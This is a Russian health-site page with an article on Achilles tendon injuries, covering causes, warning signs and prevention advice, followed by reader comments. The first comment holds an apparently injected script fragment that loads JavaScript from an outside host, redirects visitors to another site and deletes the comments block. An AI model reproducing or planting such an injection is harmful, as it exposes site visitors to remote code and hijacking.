Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Травма ахиллового сухожи...  >>  Травма ахиллового сухожилия
 
Обратная связь
 

Травма ахиллового сухожилия

Размер шрифта
01 февраля 2012 08:00
  • google_analytics: false
  • Нравится

Ахиллово, или пяточное сухожилие – самое крепкое сухожилие человеческого тела. Что делать, если оно травмировано и как этого избежать?

Ахиллово сухожилие соединяет икроножную мышцу с костями стопы. Несмотря на то, что это одно из самых крепких сухожилий в человеческом теле, оно очень часто травмируется.

Своему названию это сухожилие обязано известному древнегреческому мифу. Непобедимый воин Ахиллес был сражен стрелой, попавшей именно в это сухожилие. Сегодня частота повреждений ахиллова сухожилия очень высока.

Ахиллово сухожилие выполняет 2 функции во время ходьбы и бега. Мышцы икры опускают носок на землю после постановки пятки, а затем поднимают пятку во время подъёма на носок.

Сухожилие можно растянуть или надорвать в месте крепления к пяточной кости или около него. Как правило, травма ахиллова сухожилия обычно является результатом многочисленных повреждений сухожилия, которые возникали в прошлом.

Основные причины:

  • бег и упражнения на чрезмерно жестком покрытии
  • плохая обувь с грубой, негнущейся подошвой (особенно в передней части стопы)
  • чересчур жесткая пятка кроссовка
  • монотонные, часто повторяющиеся движения (длительный бег)
  • отсутствие или недостаточная разминка перед бегом
  • удар по сухожилию в момент напряжения мышц голени
  • плохая растяжка икроножных мышц и задней поверхности бедра


Самая главная причина травм – игнорирование первых симптомов. Действительно, воспалительный процесс может сопровождаться длительным, но не сильным дискомфортом. При этом боли часто носят эпизодический характер – появляются при повышенных нагрузках и исчезают в покое.

Вот здесь и таится наибольшая опасность! На фоне хронического воспаления уменьшается прочность волокон. В местах микронадрывов образуются рубцы, и вскоре заметно снижается эластичность волокон. В результате через пару месяцев будет достаточно лишь одного резкого движения, чтобы произошел полный отрыв.

  1. Если вы чувствуете даже легкую боль, откажитесь от физических нагрузок: бега, езды на велосипеде, фитнеса, футбола, любых видов спорта, связанных с прыжками.

  2. Исключите бег в гору – это слишком серьезная нагрузка. И не возвращайтесь к нему до полного выздоровления (после серьезных травм требуется от нескольких недель, до нескольких месяцев восстановления).

  3. Подберите себе правильную обувь. Подошва ее должна быть достаточно гибкой в передней части.

  4. Недопустимо ощущение дискомфорта в области постановки пятки.



Видеосюжеты по теме:

Травмы ахиллова сухожилия. Как сделать неуязвимой «ахиллесову пяту»

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:58

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

2 - Гость

06 августа 2015 в 14:57

Цитировать   |   Пожаловаться

Здраствуйте,подскажите пожалуйста.Порвал Ахилловое сухожилье,прошел год уже,Но мысль обратно вернуться в спорт еще есть,что мне делать?как можно ахилл посмотреть в каком он состоянии ,просветить его,обследование,как это лучше сделать и где??Спасибо

Слайдшоу

12 странных звуков, которые вы не хотите услышать из своего тела Учимся обрабатывать раны
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.